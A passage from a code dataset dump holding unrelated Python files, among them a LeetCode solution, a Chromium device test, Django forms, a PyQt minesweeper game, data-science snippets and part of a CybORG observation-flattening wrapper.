lepdClient = LepdClient('localhost')\n influxDbClient = MyInfluxDbClient('localhost')\n for i in range(30):\n pullAndStoreGetCmdMpstat(lepdClient, influxDbClient)\n time.sleep(1)\n\n\n","sub_path":"dataStore/modules/cpu/pullAndStoreGetCmdMpstat.py","file_name":"pullAndStoreGetCmdMpstat.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"28988029","text":"class Solution:\n\t# @param height, a list of integer\n\t# @return an integer\n\tdef largestRectangleArea(self, height):\n\t\tmax_val = 0\n\t\theight.append(0)\n\t\tstack = []\n\t\tfor h in height:\n\t\t\tif not stack or h >= stack[-1][0]:\n\t\t\t\tstack.append((h,1))\n\t\t\telse:\n\t\t\t\tlength = 0\n\t\t\t\twhile stack and stack[-1][0] > h:\n\t\t\t\t\ttop = stack.pop()\n\t\t\t\t\tlength += top[1]\n\t\t\t\t\tmax_val = max(max_val, top[0]*length)\n\t\t\t\tstack.append((h, length+1))\n\t\treturn max_val","sub_path":"leetcode_python/084_Largest_Rectangle_in_Histogram.py","file_name":"084_Largest_Rectangle_in_Histogram.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"309588838","text":"#!/usr/bin/env python\n# Copyright 2017 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\"\"\"\nUnit tests for the contents of flag_changer.py.\nThe test will invoke real devices\n\"\"\"\n\nimport os\nimport posixpath\nimport sys\nimport unittest\n\nif __name__ == '__main__':\n sys.path.append(\n os.path.abspath(os.path.join(\n os.path.dirname(__file__),\n '..',\n '..',\n )))\n\nfrom devil.android import device_test_case\nfrom devil.android import device_utils\nfrom devil.android import flag_changer\nfrom devil.android.sdk import adb_wrapper\n\n_CMDLINE_FILE = 'dummy-command-line'\n\n\nclass FlagChangerTest(device_test_case.DeviceTestCase):\n def setUp(self):\n super(FlagChangerTest, self).setUp()\n self.adb = adb_wrapper.AdbWrapper(self.serial)\n self.adb.WaitForDevice()\n self.device = device_utils.DeviceUtils(\n self.adb, default_timeout=10, default_retries=0)\n # pylint: disable=protected-access\n self.cmdline_path = posixpath.join(flag_changer._CMDLINE_DIR, _CMDLINE_FILE)\n self.cmdline_path_legacy = posixpath.join(flag_changer._CMDLINE_DIR_LEGACY,\n _CMDLINE_FILE)\n\n def tearDown(self):\n super(FlagChangerTest, self).tearDown()\n self.device.RemovePath([self.cmdline_path, self.cmdline_path_legacy],\n force=True,\n as_root=True)\n\n def testFlagChanger_restoreFlags(self):\n if not self.device.HasRoot():\n self.skipTest('Test needs a rooted device')\n\n # Write some custom chrome command line flags.\n self.device.WriteFile(self.cmdline_path, 'chrome --some --old --flags')\n\n # Write some more flags on a command line file in the legacy location.\n self.device.WriteFile(\n self.cmdline_path_legacy, 'some --stray --flags', as_root=True)\n self.assertTrue(self.device.PathExists(self.cmdline_path_legacy))\n\n changer = flag_changer.FlagChanger(self.device, _CMDLINE_FILE)\n\n # Legacy command line file is removed, ensuring Chrome picks up the\n # right file.\n self.assertFalse(self.device.PathExists(self.cmdline_path_legacy))\n\n # Write some new files, and check they are set.\n new_flags = ['--my', '--new', '--flags=with special value']\n self.assertItemsEqual(changer.ReplaceFlags(new_flags), new_flags)\n\n # Restore and go back to the old flags.\n self.assertItemsEqual(changer.Restore(), ['--some', '--old', '--flags'])\n\n def testFlagChanger_removeFlags(self):\n self.device.RemovePath(self.cmdline_path, force=True)\n self.assertFalse(self.device.PathExists(self.cmdline_path))\n\n with flag_changer.CustomCommandLineFlags(self.device, _CMDLINE_FILE,\n ['--some', '--flags']):\n self.assertTrue(self.device.PathExists(self.cmdline_path))\n\n self.assertFalse(self.device.PathExists(self.cmdline_path))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"devil/devil/android/flag_changer_devicetest.py","file_name":"flag_changer_devicetest.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"631453784","text":"# coding=UTF-8\r\nfrom cn.edustar.jitar.data import BaseQuery\r\nfrom base_action import *\r\nfrom java.util import Calendar,Date\r\nfrom java.text import SimpleDateFormat\r\n\r\nclass PrepareCourseMemberQuery(BaseQuery):\r\n \r\n ORDER_TYPE_ID_DESC = 0\r\n\r\n def __init__(self, selectFields):\r\n BaseQuery.__init__(self, selectFields)\r\n self.params = ParamUtil(request)\r\n self.prepareCourseId = None\r\n self.userId = None\r\n self.privateContentExist=None #是否只显示有内容的个案 默认None,全部显示 True,查询有内容的,False 查询无内容的\r\n self.stage = None #集备执行的阶段,正在进行running;已经完成finishaed;还未进行will\r\n sft = SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\") \r\n self.nowDate = sft.format(Date())\r\n \r\n def initFromEntities(self, qctx):\r\n qctx.addEntity(\"PrepareCourseMember\", \"pcm\", \"\")\r\n \r\n def resolveEntity(self, qctx, entity):\r\n if \"u\" == entity:\r\n qctx.addEntity(\"User\", \"u\", \"pcm.userId = u.userId\")\r\n elif \"pc\" == entity:\r\n qctx.addEntity(\"PrepareCourse\", \"pc\", \"pcm.prepareCourseId = pc.prepareCourseId\")\r\n elif entity == \"subj\":\r\n qctx.addJoinEntity(\"u\", \"u.subject\", \"subj\", \"LEFT JOIN\")\r\n elif entity == \"grad\":\r\n qctx.addJoinEntity(\"u\", \"u.grade\", \"grad\", \"LEFT JOIN\")\r\n elif entity == \"unit\":\r\n qctx.addJoinEntity(\"u\", \"u.unit\", \"unit\", \"LEFT JOIN\")\r\n elif entity == \"sc\":\r\n qctx.addJoinEntity(\"u\", \"u.sysCate\", \"sc\", \"LEFT JOIN\")\r\n else:\r\n BaseQuery.resolveEntity(self, qctx, entity)\r\n \r\n def applyWhereCondition(self, qctx):\r\n if (self.prepareCourseId != None):\r\n qctx.addAndWhere(\"pcm.prepareCourseId = :prepareCourseId\")\r\n qctx.setInteger(\"prepareCourseId\", self.prepareCourseId)\r\n if (self.userId != None):\r\n qctx.addAndWhere(\"pcm.userId = :userId\")\r\n qctx.setInteger(\"userId\", self.userId)\r\n if (self.privateContentExist != None): \r\n if (self.privateContentExist == True):\r\n qctx.addAndWhere(\"DATALENGTH(pcm.privateContent)> :V\")\r\n qctx.setInteger(\"V\", 0)\r\n if (self.privateContentExist == False): \r\n qctx.addAndWhere(\"DATALENGTH(pcm.privateContent)= :V\")\r\n qctx.setInteger(\"V\", 0)\r\n if self.stage != None:\r\n if \"running\" == self.stage:\r\n qctx.addAndWhere(\"(:stage >= pc.startDate And :stage <= pc.endDate)\")\r\n qctx.setString(\"stage\",self.nowDate)\r\n if \"finished\" == self.stage:\r\n qctx.addAndWhere(\"(pc.endDate < :stage)\")\r\n qctx.setString(\"stage\",self.nowDate)\r\n if \"new\" == self.stage:\r\n qctx.addAndWhere(\"(pc.startDate > :stage)\")\r\n qctx.setString(\"stage\",self.nowDate) \r\n if \"notfinished\" == self.stage:\r\n qctx.addAndWhere(\"(pc.endDate >= :stage)\")\r\n qctx.setString(\"stage\",self.nowDate)\r\n ","sub_path":"WebContent/WEB-INF/jython/preparecourse_member_query.py","file_name":"preparecourse_member_query.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"496273276","text":"import numpy as np\nfrom .augmentor import DataAugment\n\nclass Grayscale(DataAugment):\n \"\"\"\n Grayscale value augmentation.\n\n Randomly adjust contrast/brightness, randomly invert\n and apply random gamma correction.\n \"\"\"\n\n def __init__(self, contrast_factor=0.3, brightness_factor=0.3, mode='mix', p=0.5):\n \"\"\"Initialize parameters.\n\n Args:\n contrast_factor (float): intensity of contrast change.\n brightness_factor (float): intensity of brightness change.\n mode (string): '2D', '3D' or 'mix'.\n p (float): probability of applying the augmentation.\n \"\"\"\n super(Grayscale, self).__init__(p=p)\n self.set_mode(mode)\n self.CONTRAST_FACTOR = contrast_factor\n self.BRIGHTNESS_FACTOR = brightness_factor\n\n def set_params(self):\n # No change in sample size\n pass\n\n def __call__(self, data, random_state):\n if random_state is None:\n random_state = np.random.RandomState()\n\n if self.mode == 'mix':\n mode = '3D' if random_state.rand() > 0.5 else '2D'\n else:\n mode = self.mode\n\n # apply augmentations \n if mode is '2D': data = self.augment2D(data, random_state)\n if mode is '3D': data = self.augment3D(data, random_state)\n return data\n\n def augment2D(self, data, random_state):\n t_imgs = data['image'].copy()\n for z in range(t_imgs.shape[-3]):\n if random_state.rand() > 0.5:\n t_imgs[z, :, :] = self._contrast_brightness_gamma_scaling(t_imgs[z, :, :], random_state)\n data['image'] = t_imgs\n return data\n\n def augment3D(self, data, random_state=None):\n data['image'] = self._contrast_brightness_gamma_scaling(data['image'], random_state)\n return data\n\n def _contrast_brightness_gamma_scaling(self, input, random_state):\n t_input = np.copy(input)\n t_input *= 1 + (random_state.rand() - 0.5) * self.CONTRAST_FACTOR\n t_input += (random_state.rand() - 0.5) * self.BRIGHTNESS_FACTOR\n\n # gamma adjustment\n abs_t_input = np.abs(t_input)\n abs_t_input **= 2.0 ** (random_state.rand() * 2 - 1)\n t_input = abs_t_input * np.sign(t_input)\n\n # clipping\n t_input = np.clip(t_input, -1, 1)\n return t_input\n\n ####################################################################\n ## Setters.\n ####################################################################\n\n def set_mode(self, mode):\n \"\"\"Set 2D/3D/mix greyscale value augmentation mode.\"\"\"\n assert mode=='2D' or mode=='3D' or mode=='mix'\n self.mode = mode\n","sub_path":"torch_connectomics/data/augmentation/grayscale.py","file_name":"grayscale.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"292791289","text":"import ui\nfrom classified import Morpheus\nfrom database import Patient, Act\n\ndef show_morpheus():\n\t#wh = ui.get_screen_size()\n\t#f=(0,0,wh[0],wh[1])\n\tf=(0,0,350,650)\n\ttabs = ['All', 'Outpt', 'Inpt', 'Inactive']\n\textra_tabs= ui.SegmentedControl()\n\textra_tabs.segments = ['To See', 'Seen']\n\textra_tabs.name = 'todaytab'\n\titems_toAdd = [{'title':'Patient', 'object':Patient()}, {'title':'Act', 'object':Act()}]\n\tMorpheus(Patient, items_toAdd, frame = f, tabs_contents = tabs, extra_data = extra_tabs)\n\n\n\"\"\"\ntry:\n\treason = 'Use your fingerprint to log in. You have 10 seconds.'\n\tTouchID.authenticate(reason, allow_passcode=True, timeout=10)\n\tv = ui.load_view()\n\t#v.present('sheet', hide_title_bar=True)\n\tv.present('sheet')\nexcept TouchID.AuthFailedException as e:\n\tprint (e)\n\"\"\"\t\t\n\n#v = ui.load_view()\n#v.present('sheet')\n#print(ui.get_screen_size())\nshow_morpheus()\n","sub_path":"mainapp.py","file_name":"mainapp.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"61849606","text":"#!/usr/bin/python3\n\n\n# Undersample and plot imbalanced dataset with Tomek Links\nfrom collections import Counter\nfrom sklearn.datasets import make_classification\nfrom imblearn.under_sampling import TomekLinks\nfrom matplotlib import pyplot\nfrom numpy import where,setdiff1d,array\n\n\n\npyplot.subplot(1,2,1)\n# define dataset\nX, y = make_classification(n_samples=10000, n_features=2, n_redundant=0,\n\tn_clusters_per_class=1, weights=[0.99], flip_y=0, random_state=1)\n# summarize class distribution\ncounter = Counter(y)\nprint(counter)\n\nfor label, _ in counter.items():\n\trow_ix = where(y == label)[0]\n\tpyplot.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label))\npyplot.legend()\npyplot.title(\"Original\")\n\n\n\npyplot.subplot(1,2,2)\n# define the undersampling method\nundersample = TomekLinks()\n# transform the dataset\nnewX, y = undersample.fit_resample(X, y)\ndeleteX = array([point for point in X if point not in newX])\nprint(deleteX.shape)\nprint(X.shape)\nprint(newX.shape)\n# summarize the new class distribution\ncounter = Counter(y)\nprint(counter)\n# scatter plot of examples by class label\nfor label, _ in counter.items():\n\trow_ix = where(y == label)[0]\n\tpyplot.scatter(newX[row_ix, 0], newX[row_ix, 1], label=str(label))\n\n\npyplot.scatter(deleteX[:,0],deleteX[:,1],label=\"Deleted\")\npyplot.legend()\npyplot.title(\"Resampling with Tomek Links\")\npyplot.show()\n","sub_path":"tomekLinks.py","file_name":"tomekLinks.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"321784121","text":"import numpy as np\nimport torch\nfrom feeder.feeder import Feeder\n\n# Util Funcs, needs to be split\ndef loader_initializer(feeder_args_dict, batch_size=32, suffle=True, num_workers=4, drop_last=True):\n data_loader = torch.utils.data.DataLoader(\n dataset=Feeder(**feeder_args_dict),\n batch_size=batch_size,\n shuffle=suffle,\n num_workers=num_workers,\n drop_last=drop_last)\n return data_loader\n\n\ndef map2ind(labels, from_arr=None, to_arr=None, def_val=None):\n labels = np.array(labels)\n if def_val is None:\n ret = labels\n else:\n ret = def_val * np.ones_like(labels)\n if from_arr is None:\n from_arr = list(set(labels)) # Get unique entires from labels\n from_arr.sort() # Sort them\n if to_arr is None:\n to_arr = range(len(from_arr))\n for i, val in enumerate(from_arr):\n ret[labels==val] = to_arr[i]\n return ret\n\n\ndef map2ind_ad_test(labels, normal_labels=None, abnormal_cls_lbl=0):\n if normal_labels is None:\n to_arr = None\n else:\n to_arr = np.ones_like(normal_labels)\n return map2ind(labels, from_arr=normal_labels, to_arr=to_arr, def_val=abnormal_cls_lbl)","sub_path":"ad_utils.py","file_name":"ad_utils.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"302553738","text":"#this code represents pattern matching in python!\n#regex for phone number matching!!!\nimport re\nphonenumber=re.compile(r'(\\+?\\d*)?(\\d{10})')\ns=input(\"Enter string:\")\nl1=[]\nfound=phonenumber.findall(s)\nfor j in found:\n if j[0]=='':\n l1.append(j[1])\n else:\n l1.append('-'.join(j))\n\nfor i in l1:\n print(i)\n\n\n#regex for email address!!!\nemail=re.compile(r'(\\w+)@(\\w{2,})\\.(\\w{2,3})(\\.\\w{2,3})?')\ns=input(\"Enter string:\")\nl2=[]\nfound=email.findall(s)\nfor j in found:\n t=''\n t=j[0]+'@'+j[1]\n t=t+'.'+j[2]\n if j[3]!='':\n t=t+j[3]\n l2.append(t)\n\nfor i in l2:\n print(i\n )\n \n","sub_path":"patternmatching.py","file_name":"patternmatching.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"302800575","text":"input = open(\"sitin.txt\", \"r\").read().split()\noutput = open(\"sitout.txt\", \"w+\")\nprint(input)\n\nr = int(input[0].replace(',', ''))\ns = int(input[1].replace(',', ''))\n\ntickets = int(input[2].replace(',', ''))\nif tickets > r*s:\n\tseats = r*s\n\tstanding = tickets - seats\nelse:\n\tseats = tickets\n\tstanding = 0\n\nprint(str(seats), str(standing))\noutput.write(str(seats) + \" \" + str(standing))\noutput.close()\n","sub_path":"Starter problems 1/Sitting or standing/Sit.py","file_name":"Sit.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"183231655","text":"from django import forms\n\nfrom .models import ad,comment\nfrom django.core.mail import mail_admins\n\nclass adForm(forms.ModelForm):\n class Meta:\n model = ad\n fields = ('name','email','phone_number','subject','price','detail','image')\n widgets = {\n 'name': forms.TextInput(attrs={'placeholder': 'Inscrire votre nom','required': True}),\n 'email': forms.EmailInput(attrs={'placeholder': 'Inscrire votre courriel','required': True}),\n 'phone_number': forms.TextInput(attrs={'placeholder': 'Inscrire votre numéro de téléphone'}),\n 'subject': forms.TextInput(attrs={'placeholder': \"Inscrire le titre de l'annonce\",'required': True}),\n 'detail': forms.Textarea(attrs={'placeholder': \"Inscrire des précisions sur l'item à vendre\",'cols':40,'rows':5,'required': True,'type':'text'}),\n 'price': forms.NumberInput(attrs={'placeholder': \"Inscrire le prix demandé pour l'item à vendre\",'min':1,'step':'any'}),\n 'image': forms.FileInput(attrs={'accept':\"image/*\"}),\n }\n def __init__(self, *args, **kwargs):\n super(adForm, self).__init__(*args, **kwargs)\n self.fields['name'].label = \"Prénom et nom*\"\n self.fields['email'].label = \"Courriel*\"\n self.fields['phone_number'].label = \"Téléphone\"\n self.fields['subject'].label = \"Titre de l'annonce*\"\n self.fields['detail'].label = \"Précisions*\"\n self.fields['price'].label = \"Prix\"\n self.fields['image'].label = \"Photo\"\n def sendtoadmin(self):\n mail_admins(self.cleaned_data['subject'],\"Vous devez valider l'annonce suivante: /n\"+\"De: \"+self.cleaned_data['name'] +\"/n\"+self.cleaned_data['email']+\"/n\"+self.cleaned_data['detail'], fail_silently=True)\n\nclass commentForm(forms.ModelForm):\n class Meta:\n model = comment\n fields = ('name','email','subject','comment')\n widgets = {\n 'name': forms.TextInput(attrs={'placeholder': 'Inscrire votre nom'}),\n 'email': forms.EmailInput(attrs={'placeholder': 'Inscrire votre courriel','required': True}),\n 'subject': forms.TextInput(attrs={'placeholder': \"Inscrire le sujet de votre commentaire, de votre question ou de votre suggestion\",'required': True}),\n 'comment': forms.Textarea(attrs={'placeholder': \"Inscrire votre commentaire, votre question ou votre suggestion\",'cols':40,'rows':5,'required': True,'type':'text'}),\n }\n def __init__(self, *args, **kwargs):\n super(commentForm, self).__init__(*args, **kwargs)\n self.fields['name'].label = \"Prénom et nom\"\n self.fields['email'].label = \"Courriel*\"\n self.fields['subject'].label = \"Sujet*\"\n self.fields['comment'].label = \"Commentaire/Question/Suggestion*\"\n def sendtoadmin(self):\n mail_admins(self.cleaned_data['subject'], \"De: \"+self.cleaned_data['name'] +\"/n\"+self.cleaned_data['email']+\"/n\"+self.cleaned_data['comment'], fail_silently=True)\n","sub_path":"accueil/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"349320820","text":"# -*- coding: utf-8 -*-\n# Python Minesweeper (pymine)\n#\n# The MIT License (MIT)\n#\n# Copyright (c) 2014 - 2020 Andreas Schulz\n#\n# All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom os import path\nfrom random import randint\nfrom typing import List, Tuple, Iterator\n\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtCore import pyqtSignal\n\nfrom widgets.tile import Tile\n\n\nclass GameWidget(QWidget):\n gameIsLost = pyqtSignal()\n gameIsWon = pyqtSignal()\n\n def __init__(self, rows: int, columns: int, mines: int, parent=None):\n super(GameWidget, self).__init__(parent)\n uic.loadUi(path.join(path.dirname(__file__), '..', 'ui', 'UI_GameWidget.ui'), self)\n\n self.matrix: List[List[Tile]] = []\n\n for column in range(columns):\n self.matrix.append([])\n for row in range(rows):\n btn = Tile(x=column, y=row, parent=self)\n self.mainLayout.addWidget(btn, column, row)\n btn.clickedSuccessfully.connect(self.clickSucceeded)\n btn.clickedMine.connect(lambda: self.gameIsLost.emit())\n self.matrix[column].append(btn)\n\n # apply the mines\n counter = 0\n while counter < mines:\n x = randint(0, columns - 1)\n y = randint(0, rows - 1)\n if self.matrix[x][y].isMine:\n continue\n else:\n self.matrix[x][y].isMine = True\n counter += 1\n\n # set the count\n for column in self.matrix:\n for tile in column:\n for coords in self.getValidMatrixIndices(tile.x, tile.y):\n neighbor = self.matrix[coords[0]][coords[1]]\n if neighbor.isMine:\n tile.count += 1\n\n def clickSucceeded(self, column: int, row: int) -> None:\n btn = self.matrix[column][row]\n if btn.count == 0:\n for coords in self.getValidMatrixIndices(column, row):\n self.matrix[coords[0]][coords[1]].clickedTile(ignoreMark=True)\n self.checkIfGameIsWon()\n\n def getValidMatrixIndices(self, x: int, y: int) -> Iterator[Tuple[int, int]]:\n topLeft = (x - 1, y - 1)\n top = (x, y - 1)\n topRight = (x + 1, y - 1)\n left = (x - 1, y)\n right = (x + 1, y)\n bottomLeft = (x - 1, y + 1)\n bottom = (x, y + 1)\n bottomRight = (x + 1, y + 1)\n\n def matrixFilter(coords: Tuple[int, int]) -> bool:\n if coords[0] >= 0 and coords[1] >= 0:\n columns = len(self.matrix)\n rows = len(self.matrix[0])\n if coords[0] < columns and coords[1] < rows:\n return True\n return False\n\n return filter(matrixFilter, [topLeft, top, topRight, left, right, bottomLeft, bottom, bottomRight])\n\n def checkIfGameIsWon(self) -> None:\n for column in self.matrix:\n for btn in column:\n countIsVisible = btn.label.text() and btn.label.text() != 'F'\n if not (countIsVisible or btn.isMine):\n return\n self.gameIsWon.emit()\n","sub_path":"widgets/gamewidget.py","file_name":"gamewidget.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"139527780","text":"'''EDGES 21cm absorption profile taken from EDGES public data releases \\cite{EDGESDataR} plotted over\ndata from a set of over 190 theoretical models as used by the SARAS 2 Experiment \\cite{SARAS}\\cite{cohen}.\nAs seen, the profile observed by EDGES is much greater than the largest model predictions. \n'''\n'''\nhttp://loco.lab.asu.edu/edges/edges-data-release/ <---EDGES Data Releases\nhttps://iopscience.iop.org/article/10.3847/1538-4357/aabae1/pdf <---SARAS Model constraints\nhttps://arxiv.org/pdf/1609.02312.pdf <---Models\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\n\ndata = np.genfromtxt('figure2_plotdata.csv', delimiter = ',', skip_header = 1, names=['freq', 'z', 'Myr', 'weight', 't21'])\n\nx = np.linspace(40, 110, 15)\nyTop = [-.02, -.005, 0, .005, .020, .027, .028, .029, .028, .027, .026, .025, .024, .023, .022]\nyBot = [-.0625, -.123, -.170, -.185, -.195, -.208, -.215, -.230, -.238, -.242, -.259, -.263, -.268, -.274, -.270]\nyTop = np.poly1d(np.polyfit(x, yTop, 3))\nyBot = np.poly1d(np.polyfit(x, yBot, 2))\n\nplt.subplots()\nplt.ylim(-0.8, 0.2)\nplt.xlim(50, 100)\nplt.xlabel('Frequency (MHz)')\nplt.ylabel('Brightness Temperature, $T_{21}$ (K)')\nlines = [Line2D([0], [0], color = 'dodgerblue', lw=4),\n Line2D([0], [0], color='lightgrey', lw=4),]\nplt.legend(lines, ['EDGES Profile', 'Model Envelope'])\nplt.title('Observed and modelled 21cm absorption profiles')\nplt.plot(data['freq'], data['t21'], color = 'dodgerblue', label='EDGES DATA')\nplt.fill_between(data['freq'], yTop(data['freq']), yBot(data['freq']), color = 'lightgrey')","sub_path":"misc/Monsalve Figure 2/MonsalveFigure2.py","file_name":"MonsalveFigure2.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"184524732","text":"from datetime import datetime\n\nfrom CybORG.Agents.Wrappers.BaseWrapper import BaseWrapper\nfrom CybORG.Shared import Observation\nfrom CybORG.Shared.Actions import ShellSleep\nfrom CybORG.Shared.Enums import OperatingSystemType, SessionType, ProcessName, Path, ProcessType, ProcessVersion, \\\n AppProtocol, FileType, ProcessState, Vulnerability, Vendor, PasswordHashType, BuiltInGroups, \\\n OperatingSystemDistribution, OperatingSystemVersion, OperatingSystemKernelVersion, Architecture, \\\n OperatingSystemPatch, FileVersion\n\nimport inspect, random\n\nclass FixedFlatWrapper(BaseWrapper):\n def __init__(self, env: BaseWrapper=None, agent=None):\n super().__init__(env, agent)\n\n self.MAX_HOSTS = 5\n self.MAX_PROCESSES = 100\n self.MAX_CONNECTIONS = 2\n self.MAX_VULNERABILITIES = 1\n self.MAX_INTERFACES = 4\n self.MAX_FILES = 10\n self.MAX_SESSIONS = 20\n self.MAX_USERS = 10\n self.MAX_GROUPS = 10\n self.MAX_PATCHES = 10\n\n self.observation_structure = Object(None, 1, [\n Object('System info', 1, [\n String('Hostname', self.MAX_HOSTS),\n Enum('OSType', OperatingSystemType),\n Enum('OSDistribution', OperatingSystemDistribution),\n Enum('OSVersion', OperatingSystemVersion),\n Enum('OSKernelVersion', OperatingSystemKernelVersion),\n Enum('Architecture', Architecture),\n Time('Local Time'),\n EnumArray('os_patches', OperatingSystemPatch, self.MAX_PATCHES)\n ]),\n Object('Processes', self.MAX_PROCESSES, [\n Float('PID', 32768),\n Float('PPID', 32768),\n String('Process Name'),\n String('Username'),\n String('Path'),\n Enum('Known Process', ProcessName),\n Enum('Known Path', Path),\n Enum('Process Type', ProcessType),\n Enum('Process Version', ProcessVersion),\n Object('Connections', self.MAX_CONNECTIONS, [\n Float('local_port', 65535),\n Float('remote_port', 65535),\n Float('local_address', 4294967296),\n Float('Remote Address', 4294967296),\n Enum('Application Protocol', AppProtocol),\n Enum('Status', ProcessState)\n ]),\n EnumArray('Vulnerability', Vulnerability, self.MAX_VULNERABILITIES)\n ]),\n Object('Files', self.MAX_FILES, [\n String('Path'),\n Enum('Known Path', Path),\n String('File Name'),\n Enum('Known File', FileType),\n Enum('Type', FileType),\n Enum('Vendor', Vendor),\n Enum('Version', FileVersion),\n String('Username'),\n String('Group Name'),\n Time('Last Modified Time'),\n Float('User Permissions', 7),\n Float('Group Permissions', 7),\n Float('Default Permissions', 7)\n ]),\n Object('Users', self.MAX_USERS, [\n String('Username'),\n String('Password'),\n String('Password Hash'),\n Enum('Password Hash Type', PasswordHashType),\n Float('UID'),\n Float('Logged In'),\n Object('Groups', self.MAX_GROUPS, [\n Enum('Builtin Group', BuiltInGroups),\n String('Group Name'),\n Float('GID')\n ])\n ]),\n Object('Sessions', self.MAX_SESSIONS, [\n String('Username'),\n Enum('Type', SessionType),\n Float('ID', 20),\n Float('Timeout'),\n Float('PID', 32768)\n ]),\n Object('Interface', self.MAX_INTERFACES, [\n String('Interface Name'),\n Subnet('Subnet'),\n Float('IP Address', 4294967296)\n ])\n ])\n\n self.cache = {}\n\n def get_action(self, observation, action_space):\n\n action = self.agent.get_action(self.observation_change(observation), self.action_space_change(action_space))\n\n action_class = action['action']\n params = {}\n for p in inspect.signature(action_class).parameters:\n if p in action:\n params[p] = action[p]\n else:\n action_class = ShellSleep\n params = {}\n break\n action = action_class(**params)\n return action\n\n # def action_space_change(self, action_space: dict) -> dict:\n # action_space.pop('process')\n # action_space['session'] = {0: True}\n # action_space['username'] = {'pi': action_space['username']['pi'],\n # 'vagrant': action_space['username']['vagrant']}\n # action_space['password'] = {'raspberry': action_space['password']['raspberry'],\n # 'vagrant': action_space['password']['vagrant']}\n # action_space['port'] = {22: action_space['port'][22]}\n # return action_space\n\n def observation_change(self, obs: dict) -> list:\n numeric_obs = obs\n flat_obs = []\n while len(numeric_obs) < self.MAX_HOSTS:\n hostid = str(random.randint(0, self.MAX_HOSTS+1))\n if hostid not in numeric_obs.keys():\n numeric_obs[hostid] = {}\n\n while len(numeric_obs) > self.MAX_HOSTS:\n numeric_obs.popitem()\n #raise ValueError(\"Too many hosts in observation for fixed size\")\n\n for key_name, host in numeric_obs.items():\n if key_name == 'success':\n flat_obs.append(float(host.value)/3)\n elif not isinstance(host, dict):\n raise ValueError('Host data must be a dict')\n else:\n flat_obs += self.observation_structure.flatten(host, self.cache)\n\n return flat_obs\n\n def get_attr(self,attribute:str):\n return self.env.get_attr(attribute)\n\n def get_observation(self, agent: str):\n obs = self.get_attr('get_observation')(agent)\n return self.observation_change(obs)\n\n## BEGIN PRIVATE DATA CLASSES ##\n\nclass Data:\n def __init__(self, key):\n self.key = key\n\n def flatten(self, data, cache):\n try:\n return self._flatten(data, cache)\n except Exception as e:\n raise Exception(f'Exception flattening {self.key}') from e\n\n def _flatten(self, data, cache):\n raise NotImplementedError\n\n def fill(self, elements, size, default):\n while len(elements) > size:\n elements.pop()\n #raise ValueError(f\"Too many {self.key} elements in observation for fixed size of {size}\")\n\n while len(elements) < size:\n elements.append(default)\n\n return elements\n\nclass Object(Data):\n def __init__(self, key, count, attrs):\n super().__init__(key)\n self.count = count\n self.attrs = attrs\n\n def _flatten(self, data, cache):\n # Root dictionary has no key\n if self.key:\n if self.key not in data:\n data[self.key] = {} if self.count == 1 else []\n\n if 1 < self.count:\n data[self.key] = self.fill(data[self.key], self.count, {})\n\n data = data[self.key]\n\n # This is to allow for all cases to be handled in the for loop\n if self.count == 1:\n data = [data]\n\n flat_obj = []\n for item in data:\n for attr in self.attrs:\n flattened = attr.flatten(item, cache)\n if isinstance(flattened, list):\n flat_obj += flattened\n else:\n flat_obj.append(flattened)\n 